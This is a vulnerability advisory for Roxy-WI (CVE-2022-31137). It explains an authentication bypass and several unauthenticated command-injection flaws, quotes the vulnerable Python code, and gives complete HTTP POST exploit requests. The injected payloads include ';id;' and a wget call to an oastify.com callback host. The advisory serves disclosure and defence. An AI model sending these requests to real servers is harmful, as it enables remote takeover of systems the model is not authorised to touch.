# Advisory | Roxy-WI Unauthenticated Remote Code Executions CVE-2022-31137
__[ July 26, 2022July 26, 2022](https://pentest.blog/advisory-roxy-wi-
unauthenticated-remote-code-executions-cve-2022-31137/) __[Nuri
Cilengir](https://pentest.blog/author/nuri-cilengir/)
__[Advisories](https://pentest.blog/category/advisories/)
Roxy-WI was created for people who want a fault-tolerant infrastructure but do
not want to dive deep into the details of setting up and creating a cluster
based on HAProxy / NGINX and Keepalived, or just need a convenient interface
for managing all services in one place.
## Advisory Information
**Remotely Exploitable:** Yes
**Authentication Required:** No
**Vendor URL:** roxy-wi.org
**CVSSv3.1 Score:** 10.0 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L)
**Date of found:** 10.06.2022
## Technical Details
#### Vulnerability #1 - Authentication Bypass
Upon obtaining the Roxy-WI source code from the Roxy [GitHub](https://github.com/hap-wi/roxy-wi) account, I finished the application installation and started to examine the application. I visited the Login page to analyze the post-installation application. While visiting the login page, I observed that the application requested the `/app/options.py` path. If the resources in the application can be accessed without authentication, this is a good point to start analyzing the source code. Therefore, I started offensive source code analysis on the `/app/options.py` file. This quite long file contains all the admin functionalities. The functionalities on the application send an ajax request to the `options.py` file, and all operations are performed here. On the other hand, access to files on the application front-end is provided with adequate session controls, while access to `options.py` is controlled via a local variable.
```python
#!/usr/bin/env python3
form = funct.form
serv = funct.is_ip_or_dns(form.getvalue('serv'))
act = form.getvalue("act")
if (
form.getvalue('new_metrics')
or form.getvalue('new_http_metrics')
or form.getvalue('new_waf_metrics')
or form.getvalue('new_nginx_metrics')
or form.getvalue('metrics_hapwi_ram')
or form.getvalue('metrics_hapwi_cpu')
or form.getvalue('getoption')
or form.getvalue('getsavedserver')
):
print('Content-type: application/json\n')
else:
print('Content-type: text/html\n')
if act == "checkrestart":
servers = sql.get_dick_permit(ip=serv)
for server in servers:
if server != "":
print("ok")
sys.exit()
sys.exit()
if form.getvalue('alert_consumer') is None:
if not sql.check_token_exists(form.getvalue("token")):
print('error: Your token has been expired')
sys.exit()
```
Lines between 29 and 32, it shows that session control can be bypassed if the `alert_consumer` variable is defined and not null in the body of the request sent to the options.py.
Due to the nature of the application, you can control the networks and services contained in the application, even if there is no other vulnerability other than the authentication bypass vulnerability. Hence, it may cause critical situations.
HTTP POST request required to trigger the issue is as follows.
```
POST /app/options.py HTTP/1.1
Host: 192.168.56.116
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 105
Origin: https://192.168.56.114
Dnt: 1
Referer: https://192.168.56.114/app/login.py
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
alert_consumer=notNull&serv=roxy-wi.access.log&rows1=10&grep=&exgrep=&hour=00&minut=00&hour1=23&minut1=45
```
#### Vulnerability #2 – Unauthenticated Remote Code Execution via ssh_command
Generally, network and service-based management applications such as Roxy-WI need to perform operations on the operating system. So, if the access control and authentication are bypassed, we may have access to the treasure. Therefore, after bypassing the authentication (see; vulnerability 1), I examined where the application was performing operations at the operating system level.
In the `options.py` the file was calling a function defined as `ssh_command` a lot, and `ssh_command` uses to perform operations on defined remote services.
```python
if form.getvalue('getcert') is not None and serv is not None:
cert_id = form.getvalue('getcert')
cert_path = sql.get_setting('cert_path')
commands = ["openssl x509 -in " + cert_path + "/" + cert_id + " -text"]
try:
funct.ssh_command(serv, commands, ip="1")
except Exception as e:
print('error: Cannot connect to the server ' + e.args[0])
```
On lines 1 and 6, the `getcert` variable is concatenated directly to the cmd variable. Then it is processed with the `ssh_command` function in the `/app/funct.py` file.
```python
def ssh_command(server_ip, commands, **kwargs):
ssh = ssh_connect(server_ip)
for command in commands:
try:
stdin, stdout, stderr = ssh.exec_command(command, get_pty=True)
except Exception as e:
logging('localhost', ' ' + str(e), haproxywi=1)
ssh.close()
return str(e)
if kwargs.get('raw'):
return stdout
try:
if kwargs.get("ip") == "1":
show_ip(stdout)
elif kwargs.get("show_log") == "1":
return show_log(stdout, grep=kwargs.get("grep"))
elif kwargs.get("server_status") == "1":
server_status(stdout)
elif kwargs.get('print_out'):
print(stdout.read().decode(encoding='UTF-8'))
return stdout.read().decode(encoding='UTF-8')
elif kwargs.get('return_err') == 1:
return stderr.read().decode(encoding='UTF-8')
else:
return stdout.read().decode(encoding='UTF-8')
except Exception as e:
logging('localhost', str(e), haproxywi=1)
finally:
ssh.close()
for line in stderr.read().decode(encoding='UTF-8'):
if line:
print("<div class='alert alert-warning'>" + line + "</div>")
logging('localhost', ' ' + line, haproxywi=1)
```
In line 6, it can be seen that the `ssh_command` function uses the command variable defined in file `/app/funct.py` without processing it. Bingo!
HTTP POST request required to trigger the issue is as follows.
```
POST /app/options.py HTTP/1.1
Host: 192.168.56.116
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 73
Origin: https://192.168.56.116
Referer: https://192.168.56.116/app/login.py
Connection: close
show_versions=1&token=&alert_consumer=1&serv=127.0.0.1&getcert=;id;
```
**Note:** In the examinations, it was seen that the `ssh_command` function was used on 34 different lines, and it was seen that 15+ of them were affected by the vulnerability.
#### Vulnerability #3 – Unauthenticated Remote Code Execution via subprocess_execute
Roxy-WI also performs operations with local configuration files. Operations performed through the local server are performed using the `subprocess_execute` function in the options.py
```python
if form.getvalue('ipbackend') is not None and form.getvalue('backend_server') is None:
haproxy_sock_port = int(sql.get_setting('haproxy_sock_port'))
backend = form.getvalue('ipbackend')
cmd = 'echo "show servers state"|nc %s %s |grep "%s" |awk \'{print $4}\'' % (serv, haproxy_sock_port, backend)
output, stderr = funct.subprocess_execute(cmd)
for i in output:
if i == ' ':
continue
i = i.strip()
print(i + '<br>')
```
On lines between 1 and 5, if the `ipbackend` and `backend_server` variables are defined, the `ipbackend` variable is assigned directly to the `cmd` variable. Then the `cmd` variable is passed to the `subprocess_execute` function defined in `/app/func.py`.
```python
def subprocess_execute(cmd):
import subprocess
p = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True, universal_newlines=True)
stdout, stderr = p.communicate()
output = stdout.splitlines()
return output, stderr
```
In line 3, it can be seen that the `cmd` value is executed directly without being processed.
```
POST /app/options.py HTTP/1.1
Host: 192.168.56.114
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 90
Origin: https://192.168.56.114
Referer: https://192.168.56.114/app/login.py
Connection: close
alert_consumer=1&serv=127.0.0.1&ipbackend=";id+##&backend_server=127.0.0.1
```
**Note:** In the examinations, it was seen that the `subprocess_execute` function was used on 85 different lines, and it was seen that 50+ of them were affected by the vulnerability.
#### Vulnerability #4 – Unauthenticated Remote Code Execution
On the other hand, Roxy-WI has certificate files for application operations. Certificate files are controlled and processed by administrators. The following code block executes to upload the certificates in the `options.py`.
```python
if serv and form.getvalue('ssl_cert'):
cert_local_dir = os.path.dirname(os.getcwd()) + "/" + sql.get_setting('ssl_local_path')
cert_path = sql.get_setting('cert_path')
name = ''
if not os.path.exists(cert_local_dir):
os.makedirs(cert_local_dir)
if form.getvalue('ssl_name') is None:
print('error: Please enter a desired name')
else:
name = form.getvalue('ssl_name')
try:
with open(name, "w") as ssl_cert:
ssl_cert.write(form.getvalue('ssl_cert'))
except IOError as e:
print('error: Cannot save the SSL key file. Check a SSH key path in config ' + e.args[0])
MASTERS = sql.is_master(serv)
for master in MASTERS:
if master[0] is not None:
funct.upload(master[0], cert_path, name)
print('success: the SSL file has been uploaded to %s into: %s%s <br/>' % (master[0], cert_path, '/' + name))
try:
error = funct.upload(serv, cert_path, name)
print('success: the SSL file has been uploaded to %s into: %s%s' % (serv, cert_path, '/' + name))
except Exception as e:
funct.logging('localhost', e.args[0], haproxywi=1)
try:
os.system("mv %s %s" % (name, cert_local_dir))
except OSError as e:
funct.logging('localhost', e.args[0], haproxywi=1)
funct.logging(serv, "add.py#ssl uploaded a new SSL cert %s" % name, haproxywi=1, login=1)
```
On lines 12 and 31, It can be seen that the upload function directly handles the ssl_name variable.
HTTP POST request necessary to trigger the issue is as follows.
```
POST /app/options.py HTTP/1.1
Host: 192.168.56.116
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 123
Origin: https://192.168.56.116
Referer: https://192.168.56.116/app/login.py
Connection: close
show_versions=1&token=&alert_consumer=notNull&serv=127.0.0.1&delcert=a%20&%20wget%20<id>.oastify.com;
```
## Metasploit Module
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/roxy_wi_exec.rb
暂无评论